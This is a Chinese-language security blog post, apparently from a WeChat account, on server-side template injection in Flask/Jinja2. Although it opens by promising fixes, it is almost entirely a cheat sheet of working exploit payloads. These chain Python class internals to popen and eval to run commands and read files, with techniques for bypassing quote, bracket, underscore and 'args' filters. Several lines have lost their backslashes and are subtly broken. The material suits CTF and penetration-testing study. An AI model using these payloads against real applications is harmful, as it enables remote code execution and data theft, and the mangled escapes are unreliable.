0x01 前言
模板注入(SSTI)是Web安全中常被忽视的高危漏洞,常见于Flask、ThinkPHP、Spring等基于MVC架构的框架。当用户输入未经验证直接传入模板引擎时,攻击者可通过构造恶意参数在服务器端注入代码,绕过业务逻辑直接操控模板渲染流程,导致敏感数据泄露甚至系统权限沦陷。本文从漏洞原理出发,结合主流框架特性,剖析SSTI的触发场景、利用手法及修复方案,帮助开发者构建更安全的模板渲染机制。
现在只对常读和星标的公众号才展示大图推送,建议大家把渗透安全HackTwo“设为星标”,否则可能就看不到了啦!
末尾可领取挖洞资料文件
0x03 SSTI漏洞和绕过技巧
基础格式
{{().__class__.__bases__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
一般 s 输入 {{2*2}} 来测试是否存在注入 一般函数语句用。进行连接
函数
__class__ //返回调用的参数类型
__bases__ //返回类型列表
__base__ //以字符串的形式返回一个类所继承的类
__mro__ //此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__ //获取类的所有子类
__globals__ //会以字典类型返回当前位置的全部模块,方法和全局变量,用于配合init使用与 func_globals 等价
__import__ //动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/procselffd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-
urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config
其他
{%%}可以用来声明变量,当然也可以用于循环语句和条件语句。
{{}}用于将表达式打印到模板输出
{##}表示未包含在模板输出中的注释
##可以有和{%%}相同的效果
{% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('cat /flag').read() %}{% endif %}{% endfor %}
{{().__class__.__bases__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
详细构造步骤
第一步
使用class来获取内置类所对应的类
() [] {} '' ""
{{().__class__}}
第二步
拿到 object 基类 这里可以用四种方式拿到基类
__bases__[0]
__base__
__mro__[1]
__mro__[-1]
{{().__class__.__base__}}
第三步
用subclasses() 拿到子类列表 最后构造为
{{().__class__.__base__.__subclasses__()}}
第四步
在子类列表中找到可以 getshell 的类 这里因为子类过多就需要用脚本进行查找 贴手大佬的脚本
import json
a = """
<class 'type'>,...,<class 'subprocess.Popen'>
"""
num = 0
allList = []
result = ""
for i in a:
if i == ">":
result += i
allList.append(result)
result = ""
elif i == "n" or i == ",":
continue
else:
result += i
for k, v in enumerate(allList):
if "os._wrap_close" in v:
print(str(k) + "--->" + v)
{{().__class__.__base__.__subclasses__()[132]}}
第五步
os._wrap_close 类中的 popen os._wrap_close 为上面脚本查找的 最后的.read () 几乎不会改变
{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}
builtins代码执行
在builtin中有众多的可用函数,包括了 eval
{{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
绕过:
过滤了单双引号
可以用 request 传参来绕过
?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}
request.args.b 也可以考虑字符串拼接,这里用 config 拿到字符串
?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}
?name={{url_for.__globals__['os']}}
?name={{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/flag
过滤 args
用 request.cookies.x1 代替 request.args.x1
get:
?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
cookie:
;x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
过滤 []
小括号也是可以滴
get:
?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
cookie:
;c=cat /flag
过滤_
过滤_
下划线_被过滤,那么要用 request.cookies.x1 来传参
get:
?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
cookie:
;x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /f*').read()
还有这样的写法:因为 lipsum.globals中含有 os 模块
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
传参:a=__globals__;b=cat /f*
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookie:a=__globals__;b=cat /flag
编码绕过 _是 x5f,. 是 x2E
比如:.__class__. => x2Ex5fx5fclassx5fx5fx2E
0x04 总结
最后总结,通过未过滤的用户输入注入恶意模板代码,利用__class__、__subclasses__等魔术方法遍历类继承链,最终调用危险函数(如popen)执行系统命令或读取敏感文件(如/flag)。绕过过滤时可通过request参数传递、编码(如x5f替代_)、attr过滤器或__builtins__模块动态加载模块。。喜欢的师傅可以点赞转发支持一下谢谢!
原文始发于微信公众号(渗透安全HackTwo):探索SSTI漏洞:模板注入原理与绕过方法|挖洞技巧
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论